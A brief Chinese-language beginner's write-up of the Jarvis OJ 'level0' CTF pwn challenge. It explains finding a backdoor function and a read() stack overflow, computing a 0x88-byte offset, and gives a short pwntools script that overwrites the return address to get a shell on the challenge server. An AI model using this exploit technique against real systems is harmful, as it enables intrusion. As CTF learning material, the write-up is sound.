学习笔记——新手PWN Jarvis oj leve0
1.先检查有什么保护机制
只开启了NX防护
2.用IDA打开,在这里发现了后门
3.记下所对应的地址(目标函数调用地址),0x400596
4.在main函数中找到了vulnerable_function函数,发现read函数存在缓存区溢出漏洞
5.然后能够通过buf计算出发生溢出的偏移量=(+0x0000000000000008) - (-0x0000000000000080),也就是0x88,然后利用栈溢出将函数返回时的地址值换成我们所期望的值(目标函数的地址值)!
(这个图片是本地调试结果)
6.最后利用如下代码`
from pwn import *
io = remote("pwn2.jarvisoj.com",9881)
io.sendline(b'a'*0x88+p64(0x400596))
io.interactive()
用cat获取flag
`